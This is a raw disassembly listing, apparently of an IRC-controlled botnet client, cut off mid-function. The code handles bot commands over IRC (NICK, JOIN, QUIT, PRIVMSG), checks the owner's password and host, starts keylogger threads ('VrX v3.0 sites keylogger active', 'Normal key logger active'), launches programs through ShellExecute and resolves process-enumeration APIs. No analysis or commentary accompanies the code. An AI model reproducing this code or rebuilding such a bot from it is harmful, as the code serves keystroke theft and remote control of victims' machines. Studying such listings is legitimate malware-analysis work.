loc_408BB1: ; CODE XREF: sub_401AC7+476Aj
; sub_401AC7+4781j
cmp [ebp+var_C], ebx
jz loc_401F6C
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F6C
push eax
push edi
call sub_415BF6
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A1E8
push eax
call sub_41C006
add esp, 14h
jmp loc_403F81
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401AC7+473Cj
; sub_401AC7+4753j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4189DF
loc_408C05: ; CODE XREF: sub_401AC7+25D5j
add esp, 14h
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401AC7+46FCj
; sub_401AC7+4713j
push edi
push [ebp+arg_1C]
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz loc_409643
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_408CAA
push esi
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C92
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A434
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BD70
push esi
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A1C4
push eax
call sub_41C006
add esp, 34h
inc [ebp+arg_24]
jmp loc_408FC1
; ---------------------------------------------------------------------------
loc_408C92: ; CODE XREF: sub_401AC7+7173j
lea eax, [ebp+var_2C4]
push offset unk_42A194
push eax
call sub_41C006
pop ecx
pop ecx
jmp loc_408FC1
; ---------------------------------------------------------------------------
loc_408CAA: ; CODE XREF: sub_401AC7+7162j
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B1DF
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push edi
push offset unk_42A17C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
add esp, 24h
jmp loc_408FC1
; ---------------------------------------------------------------------------
loc_408CF1: ; CODE XREF: sub_401AC7+4432j
; sub_401AC7+4449j
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408CFE: ; CODE XREF: sub_401AC7+102Fj
; sub_401AC7+1082j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B63B
add esp, 20h
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_408D1A: ; CODE XREF: sub_401AC7+4404j
; sub_401AC7+441Bj
push 23h
call sub_40B5F5
test eax, eax
pop ecx
jle short loc_408D30
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_408D30: ; CODE XREF: sub_401AC7+725Dj
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408DAC
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D93
mov esi, offset aF_0 ; "#f"
push offset byte_43B4B8
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408D93
mov esi, [ebp+var_88]
loc_408D93: ; CODE XREF: sub_401AC7+72AEj
; sub_401AC7+72C4j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C100
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408DFF
; ---------------------------------------------------------------------------
loc_408DAC: ; CODE XREF: sub_401AC7+7299j
push edi
push offset aNormal_0 ; "normal"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz loc_408E7C
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DE8
mov esi, offset aF_0 ; "#f"
push offset byte_43B4B8
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_408DE8
mov esi, [ebp+var_88]
loc_408DE8: ; CODE XREF: sub_401AC7+7303j
; sub_401AC7+7319j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C100
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408DFF: ; CODE XREF: sub_401AC7+72E3j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 14h
lea eax, [ebp+var_2C4]
push ebx
push 23h
push eax
call sub_40B3AD
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset byte_412665
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_408E6B
loc_408E55: ; CODE XREF: sub_401AC7+73A2j
cmp [ebp+var_A04], ebx
jnz loc_4081DE
push 32h
nop
call near ptr 268051Bh
jmp short loc_408E55
; ---------------------------------------------------------------------------
loc_408E6B: ; CODE XREF: sub_401AC7+738Cj
nop
call near ptr 2680DCDh
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_408E7C: ; CODE XREF: sub_401AC7+72F4j
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_408E86: ; CODE XREF: sub_401AC7+4069j
; sub_401AC7+4080j
push offset aR ; "r"
push edi
call sub_41BC88
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F00
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C2CF
add esp, 0Ch
loc_408EAF: ; CODE XREF: sub_401AC7+7417j
test eax, eax
jz short loc_408EE0
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C2CF
add esp, 20h
jmp short loc_408EAF
; ---------------------------------------------------------------------------
loc_408EE0: ; CODE XREF: sub_401AC7+73EAj
push esi
call sub_41B9DB
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A0A8
push eax
call sub_41C006
add esp, 10h
jmp loc_406C63
; ---------------------------------------------------------------------------
loc_408F00: ; CODE XREF: sub_401AC7+73D0j
push edi
push offset unk_42A088
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_408F0B: ; CODE XREF: sub_401AC7+403Bj
; sub_401AC7+4052j
cmp [ebp+var_C], ebx
jz loc_409643
push edi
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409643
push offset asc_42A084 ; "\n"
push esi
call sub_41C630
push esi
call sub_419F3E
add esp, 0Ch
test eax, eax
jnz short loc_408F48
push offset unk_42A058
jmp short loc_408F92
; ---------------------------------------------------------------------------
loc_408F48: ; CODE XREF: sub_401AC7+7478j
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A040
push eax
call sub_41C006
add esp, 0Ch
jmp short loc_408FC1
; ---------------------------------------------------------------------------
loc_408F5F: ; CODE XREF: sub_401AC7+400Dj
; sub_401AC7+4024j
cmp [ebp+var_C], ebx
jz loc_409643
push edi
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz loc_409643
push eax
call sub_41870F
test eax, eax
pop ecx
jnz short loc_408F8D
push offset unk_42A020
jmp short loc_408F92
; ---------------------------------------------------------------------------
loc_408F8D: ; CODE XREF: sub_401AC7+74BDj
push offset dword_42A004
loc_408F92: ; CODE XREF: sub_401AC7+747Fj
; sub_401AC7+74C4j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
pop ecx
pop ecx
loc_408FA0: ; CODE XREF: sub_401AC7+6BD4j
cmp [ebp+var_8], ebx
jnz short loc_408FC1
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_408FC1: ; CODE XREF: sub_401AC7+71C6j
; sub_401AC7+71DEj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
pop ecx
jmp loc_409643
; ---------------------------------------------------------------------------
loc_408FD3: ; CODE XREF: sub_401AC7+3FDFj
; sub_401AC7+3FF6j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BD70
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409002
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BD70
add esp, 0Ch
loc_409002: ; CODE XREF: sub_401AC7+7527j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
lea eax, [ebp+var_2C4]
push offset dword_429FEC
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3AD
add esp, 24h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B2A5
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4090A0
loc_40908A: ; CODE XREF: sub_401AC7+75D7j
cmp [ebp+var_1EF8], ebx
jnz loc_406C63
push 32h
call near ptr 268051Bh
nop
jmp short loc_40908A
; ---------------------------------------------------------------------------
loc_4090A0: ; CODE XREF: sub_401AC7+75C1j
nop
call near ptr 2680DCDh
push eax
push offset unk_429FAC
loc_4090AC: ; CODE XREF: sub_401AC7+2971j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
jmp loc_406C63
; ---------------------------------------------------------------------------
loc_4090C0: ; CODE XREF: sub_401AC7+3FB1j
; sub_401AC7+3FC8j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_410330
push edi
push offset dword_429F94
jmp loc_408954
; ---------------------------------------------------------------------------
loc_4090DB: ; CODE XREF: sub_401AC7+3F83j
; sub_401AC7+3F9Aj
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BD10
push edi
lea eax, [ebp+var_1D38]
push offset aS_1 ; "%s"
push eax
call sub_41C006
mov eax, [ebp+arg_4]
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C100
mov eax, [ebp+var_4]
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F70
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3AD
add esp, 40h
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset loc_416177
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz loc_4023BB
loc_409199: ; CODE XREF: sub_401AC7+76E6j
cmp [ebp+var_1BA4], ebx
jnz loc_40830C
push 32h
nop
call near ptr 268051Bh
jmp short loc_409199
; ---------------------------------------------------------------------------
loc_4091AF: ; CODE XREF: sub_401AC7+3F55j
; sub_401AC7+3F6Cj
push edi
call near ptr 26807FFh
nop
test eax, eax
jz short loc_4091C2
push edi
push offset dword_429F54
jmp short loc_4091CD
; ---------------------------------------------------------------------------
loc_4091C2: ; CODE XREF: sub_401AC7+76F1j
push offset dword_42A5AC
call sub_41864A
push eax
loc_4091CD: ; CODE XREF: sub_401AC7+76F9j
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
jmp loc_4092A5
; ---------------------------------------------------------------------------
loc_4091E3: ; CODE XREF: sub_401AC7+3F27j
; sub_401AC7+3F3Ej
push edi
call sub_41BEF9
push eax
call sub_419EB7
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_409200
push offset unk_429F30
jmp short loc_409205
; ---------------------------------------------------------------------------
loc_409200: ; CODE XREF: sub_401AC7+7730j
push offset unk_429F00
loc_409205: ; CODE XREF: sub_401AC7+7737j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C66
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
jmp loc_406C66
; ---------------------------------------------------------------------------
loc_40923E: ; CODE XREF: sub_401AC7+3EF9j
; sub_401AC7+3F10j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419BAA
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409260
push offset unk_429EE0
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_409260: ; CODE XREF: sub_401AC7+778Dj
push offset unk_429EB0
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_40926A: ; CODE XREF: sub_401AC7+3ECBj
; sub_401AC7+3EE2j
push edi
call dword_4C9344
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092AD
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4C92BC
cmp eax, ebx
jz short loc_4092C8
push dword ptr [eax]
loc_409293: ; CODE XREF: sub_401AC7+77FFj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E90
push eax
call sub_41C006
loc_4092A5: ; CODE XREF: sub_401AC7+7717j
add esp, 10h
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_4092AD: ; CODE XREF: sub_401AC7+77B3j
push edi
call dword_4C9388
cmp eax, ebx
jz short loc_4092C8
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4C9390
push eax
jmp short loc_409293
; ---------------------------------------------------------------------------
loc_4092C8: ; CODE XREF: sub_401AC7+77C8j
; sub_401AC7+77EFj
push offset unk_429E68
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_4092D2: ; CODE XREF: sub_401AC7+3E9Dj
; sub_401AC7+3EB4j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BD70
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E44
push eax
call sub_41C006
add esp, 18h
jmp loc_4081DE
; ---------------------------------------------------------------------------
loc_4092F7: ; CODE XREF: sub_401AC7+3E6Fj
; sub_401AC7+3E86j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4C9270
test eax, eax
push edi
jz short loc_409317
push offset unk_429E24
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_409317: ; CODE XREF: sub_401AC7+7844j
push offset unk_429E00
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_409321: ; CODE XREF: sub_401AC7+3E41j
; sub_401AC7+3E58j
mov al, [edi]
mov byte_429090, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DDC
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_409336: ; CODE XREF: sub_401AC7+3E13j
; sub_401AC7+3E2Aj
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE77
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
add esp, 1Ch
jmp loc_4088A1
; ---------------------------------------------------------------------------
loc_409381: ; CODE XREF: sub_401AC7+3DE5j
; sub_401AC7+3DFCj
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_401F6C
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_401F6C
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_40981C
pop ecx
pop ecx
push 1F4h
call near ptr 268051Bh
nop
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call dword_4C939C
push [ebp+var_10]
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C254[eax]
nop
call near ptr 26A07C0h
push edi
call sub_41BEF9
imul eax, 234h
push edi
mov dword_43C254[eax], ebx
call sub_41BEF9
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43C040[eax], bl
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_40942C: ; CODE XREF: sub_401AC7+3DB7j
; sub_401AC7+3DCEj
push edi
push offset aAll ; "all"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40945B
call sub_40B576
cmp eax, ebx
jle short loc_409451
push eax
push offset unk_429DB0
jmp loc_407286
; ---------------------------------------------------------------------------
loc_409451: ; CODE XREF: sub_401AC7+797Dj
push offset unk_429D88
jmp loc_403F73
; ---------------------------------------------------------------------------
loc_40945B: ; CODE XREF: sub_401AC7+7974j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F6C
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409477: ; CODE XREF: sub_401AC7+7A21j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F6C
push esi
call sub_41BEF9
push eax
call sub_40B4E8
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40949E
push offset unk_429D64
jmp short loc_4094A3
; ---------------------------------------------------------------------------
loc_40949E: ; CODE XREF: sub_401AC7+79CEj
push offset unk_429D38
loc_4094A3: ; CODE XREF: sub_401AC7+79D5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094D3
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_4094D3: ; CODE XREF: sub_401AC7+79EEj
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409477
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_4094EF: ; CODE XREF: sub_401AC7+3D89j
; sub_401AC7+3DA0j
cmp [ebp+var_C], ebx
jz loc_409643
push edi
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409643
push esi
push offset dword_42A2EC
push [ebp+arg_4]
call sub_40981C
push esi
push offset unk_429D20
jmp loc_408A7D
; ---------------------------------------------------------------------------
loc_409526: ; CODE XREF: sub_401AC7+3D5Bj
; sub_401AC7+3D72j
push edi
push offset dword_42A250
push [ebp+arg_4]
call sub_40981C
push edi
push offset unk_429D00
jmp loc_408A7D
; ---------------------------------------------------------------------------
loc_40953F: ; CODE XREF: sub_401AC7+3D2Dj
; sub_401AC7+3D44j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40981C
push edi
push offset unk_429CE0
jmp loc_408954
; ---------------------------------------------------------------------------
loc_40955F: ; CODE XREF: sub_401AC7+3CFFj
; sub_401AC7+3D16j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40981C
push edi
push offset unk_429CBC
jmp loc_408A7D
; ---------------------------------------------------------------------------
loc_409578: ; CODE XREF: sub_401AC7+3152j
; sub_401AC7+3169j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40981C
push edi
lea eax, [ebp+var_2C4]
push offset unk_429C9C
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
push edi
call sub_41BEF9
add esp, 1Ch
loc_4095AC: ; CODE XREF: sub_401AC7+7B2Dj
push eax
nop
call near ptr 268051Bh
loc_4095B3: ; CODE XREF: sub_401AC7+2A6Fj
xor eax, eax
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_4095BA: ; CODE XREF: sub_401AC7+3124j
; sub_401AC7+313Bj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40981C
push edi
lea eax, [ebp+var_2C4]
push offset unk_429C74
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
push edi
call sub_41BEF9
add esp, 1Ch
imul eax, 3E8h
jmp short loc_4095AC
; ---------------------------------------------------------------------------
loc_4095F6: ; CODE XREF: sub_401AC7+EA0j
; sub_401AC7+EB5j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_429098
push eax
call sub_40AE77
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40981C
lea eax, [ebp+var_338]
push eax
push offset unk_429C50
call sub_415D62
loc_409640: ; CODE XREF: sub_401AC7+5206j
add esp, 24h
loc_409643: ; CODE XREF: sub_401AC7+63Aj
; sub_401AC7+646j ...
mov eax, [ebp+arg_24]
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_40964B: ; CODE XREF: sub_401AC7+A8Dj
; sub_401AC7+AA0j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F6C
cmp [ebp+var_A4], ebx
jnz loc_401F6C
push offset asc_42CDC8 ; "!"
push [ebp+var_90]
call sub_41C864
mov esi, eax
push offset word_4C91BC
push ebx
inc esi
call sub_41C864
push offset asc_429C4C ; "~"
push eax
call sub_41C864
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41C7E0
add esp, 20h
test eax, eax
jz short loc_4096E1
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40981C
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_40981C
push edi
push esi
push offset unk_429BCC
jmp short loc_40973D
; ---------------------------------------------------------------------------
loc_4096E1: ; CODE XREF: sub_401AC7+7BDFj
mov [ebp+arg_24], offset off_429160
loc_4096E8: ; CODE XREF: sub_401AC7+7C3Dj
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B706
pop ecx
test eax, eax
pop ecx
jnz short loc_409751
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429164
jl short loc_4096E8
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40981C
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_40981C
push edi
push esi
push offset unk_429B78
loc_40973D: ; CODE XREF: sub_401AC7+7C18j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 30h
jmp loc_40830C
; ---------------------------------------------------------------------------
loc_409751: ; CODE XREF: sub_401AC7+7C30j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409756: ; CODE XREF: sub_401AC7+7CB9j
cmp [ebp+arg_20], ebx
jz loc_401F6C
cmp [edi], bl
jnz short loc_409776
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_409787
loc_409776: ; CODE XREF: sub_401AC7+7C9Aj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409756
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_409787: ; CODE XREF: sub_401AC7+7CADj
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BD70
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BE
push ebx
push [ebp+var_4]
push offset unk_429B58
push [ebp+var_88]
push [ebp+arg_4]
call sub_409862
add esp, 14h
loc_4097BE: ; CODE XREF: sub_401AC7+7CDBj
lea eax, [ebp+var_C4]
push eax
push offset unk_429B38
loc_4097CA: ; CODE XREF: sub_401AC7+592j
; sub_401AC7+286Fj ...
call sub_415D62
loc_4097CF: ; CODE XREF: sub_401AC7+1B74j
pop ecx
loc_4097D0: ; CODE XREF: sub_401AC7+24E7j
pop ecx
jmp loc_401F6C
; ---------------------------------------------------------------------------
loc_4097D6: ; CODE XREF: sub_401AC7+20Ej
; sub_401AC7+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40981C
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40981C
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40981C
add esp, 2Ch
mov dword_4C91B4, edi
jmp loc_401D64
sub_401AC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40981C proc near ; CODE XREF: sub_40194F+3Dp
; sub_401AC7+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C900
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4C9354
leave
retn
sub_40981C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409862 proc near ; CODE XREF: sub_401AC7+503p
; sub_401AC7+1341p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40987D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40987D: ; CODE XREF: sub_409862+14j
push edi
call sub_41B960
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B960
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41C100
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C006
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4C9354
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4098FB
push 7D0h
nop
call near ptr 268051Bh
locret_4098FB: ; CODE XREF: sub_409862+8Cj
leave
retn
sub_409862 endp
; =============== S U B R O U T I N E =======================================
sub_4098FD proc near ; CODE XREF: ___:0040126Cp
push ebx
push ebp
mov ebp, dword_4270AC
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4270CC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409A1D
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4C93B0, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_4C9324, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4C9308, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_4C9218, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4C91C4, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4C91F4, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4C926C, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4C9364, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4C93C0, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4C9224, eax
call esi
cmp dword_4C93B0, ebx
mov dword_4C920C, eax
jz short loc_4099FB
cmp dword_4C9324, ebx
jz short loc_4099FB
cmp dword_4C9308, ebx
jz short loc_4099FB
cmp dword_4C9218, ebx
jz short loc_4099FB
cmp dword_4C91F4, ebx
jz short loc_4099FB
cmp dword_4C926C, ebx
jz short loc_4099FB
cmp dword_4C9364, ebx
jz short loc_4099FB
cmp dword_4C93C0, ebx
jz short loc_4099FB
cmp dword_4C9224, ebx
jz short loc_4099FB
cmp eax, ebx
jnz short loc_409A05
loc_4099FB: ; CODE XREF: sub_4098FD+B8j
; sub_4098FD+C0j ...
mov dword_4C93C4, 1
